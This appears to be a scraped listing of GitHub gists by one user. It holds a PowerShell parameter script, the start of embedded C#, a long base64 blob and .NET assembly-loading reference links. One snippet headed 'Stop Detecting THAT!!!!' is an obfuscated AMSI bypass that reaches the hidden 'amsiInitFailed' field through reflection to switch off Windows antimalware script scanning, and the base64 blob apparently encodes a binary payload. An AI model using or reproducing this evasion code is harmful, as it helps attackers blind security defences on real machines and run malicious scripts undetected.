Alex Rodchenko gam4er
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $c = | |
| @' | |
| using System; | |
| using System.Collections.Generic; | |
| using System.Linq; | |
| using System.Runtime; | |
| using System.Runtime.InteropServices; | |
| using System.Text; | |
| using System.Threading.Tasks; | |
| using System.Configuration; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| param( | |
| [string]$Destination = '8.8.8.8', | |
| [string]$NextHop = '127.0.0.1', | |
| [switch]$NoHoldOpen | |
| ) | |
| #Stop Detecting THAT!!!! | |
| $KsQBM="`$Y0cxwyY9WrI=[aPpdOMAIN]::CURRENTdOMaIn.GEtASseMBlies()|wheRe-oBject{`$_.LOCatION -aND `$_.lOcATION.EnDswith('System.Management.Automation.dll')};`$x5HzZ=[SyStEM.rEfLEcTIOn.bindiNGFLAgs]'NonPublic,Static';`$y4jam7R_LU='ZSyeqF2';`$D1UKPxF=`$Y0CxWyY9Wri.GEttYPES()|WheRe-oBJECt{`$_.nAMe -EQ `$(('slitUismA'[(1 -Shl 3)..0] -jOIn ''))};`$FKjv=[DeLEgATE]::CReatEdEleGAte([fUnc[string,[ReFLECTion.BinDInGflaGs],[ReFLECtIOn.fIELdiNfo]]],[obJEct]`$D1ukPXf,'GetField');[VoId](geT-variaBLE -NAmE 'ciP9wl2U' -eRrOrACtIon SILENTLYcOntINUe);`$vgDZBui21BF=`$FKJv.inVOke(`$(('ämsîÍ'+'nítFâ'+'ílèd').NORmALIZE([STring][chAR](64+6)+[CHAr]([bYtE]0x6f)+[cHaR](114*63/63)+[ChaR]([bYte]0x6d)+[ChaR](68+38-38)) -rePLACe [STRInG][cHaR](34+58)+[chaR]([bYtE]0X70)+[Char](0X5157 -bxor 0x512c)+[cHaR]([byTe]0X4D)+[Char](84+26)+[Char]((0x65fA -BxOr 0X6587))),`$X5hzZ);[voiD](GET-vARiABLE -naMe 'Gxx' -errORA |
This file has been truncated, but you can view the full file.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 6IArFgCAKxYAf6/lQG3AKyUZ0Ko/0CLfONo+s9V4SfGgu+QNdkktx8UAAAAAVQYYd7culo1vFZFbWktLRoCJTFFR36YJ2T4BlacDvpL9HqfYOs/MBjFptwvgJ906grov1iJT9bprGLojcqqcXqER7ETpHm8aND4L+HJCejSEY7BzdioqFmYxfhfiyzf4BTqHCnFqZsj8SQveGSR/WblP4etCA05gp3yPLD27E2k5YizjIBYEf/tgx7c9e+9mLnIZlnV2YMP548F+G1Q1mjNpWyfec4gw2oFOZka/ZJM2esnjrSplyKAM39ae0s/V3DPQMIeSYvOcBM1RjVpjvp2fnYXIIG0/ghqUErjCMeIAppLq2VClexpAuNFseT/TazsoO3W1/aJz2cLrm5kdkdjKzZU3RuGa90rK6cDVQQx5+za38a/1hzq/pT4J4KL2qtehEfvfQ/T4p9sUVDNt9rjqSYdjDOgI0JiVA5F7ahphqvmSf+/z4b2o65BTwajyE4aWp2guo2K6rMAwSKneWTGuP/eY1U97UeM2WKf3gdDUxruUzxY46jyLDj1juZsyo3uo7eIKQzyivuGcTkhdnbQJNY5rcI0GAF4l9qjMjVeJ3xvAbFiubgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAADAAAAAAAAAAAAAADWA8Pg8AvDKHDLTvzUNqn4Aso6BtJRS5rHTM/QuI7+aLMqYIvlk0ytTP4OrhnJW8roLVRkyt4FjkVRDpkM1pBa+0PuD0nxWRAqQlNJmFvQilbk6SEHYAEDcklof9UkXDNzuAZFI6MvMJFSlMBaEeX5tebRu7TIfIM6LiY8QXE/tK6zYAebty3c+8lPkR0JlJGav2y8z/eG/u51+01U/u4oBKo3SytVRfiyE+7zHNpvNxQ7WDikX55EA4F5 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| https://docs.microsoft.com/en-us/dotnet/standard/assembly/load-unload | |
| https://docs.microsoft.com/ru-ru/dotnet/standard/assembly/unloadability | |
| https://docs.microsoft.com/en-us/dotnet/framework/performance/loader-etw-events | |
| https://stackoverflow.com/questions/9271805/net-module-vs-assembly - yep assemblies can doesn't contain any code | |
| https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/zst29sk2(v=vs.100)?redirectedfrom=MSDN | |
| https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ab4eace3(v=vs.100) | |
| https://docs.microsoft.com/ru-ru/dotnet/standard/assembly/ - great article in RU | |
| https://docs.microsoft.com/en-us/dotnet/framework/app-domains/application-domains | |
| https://docs.microsoft.com/en-us/dotnet/framework/configure-apps/file-schema/runtime/loadfromremotesources-element | |
| https://stackoverflow.com/questions/5783228/effect-of-loaderoptimizationattribute |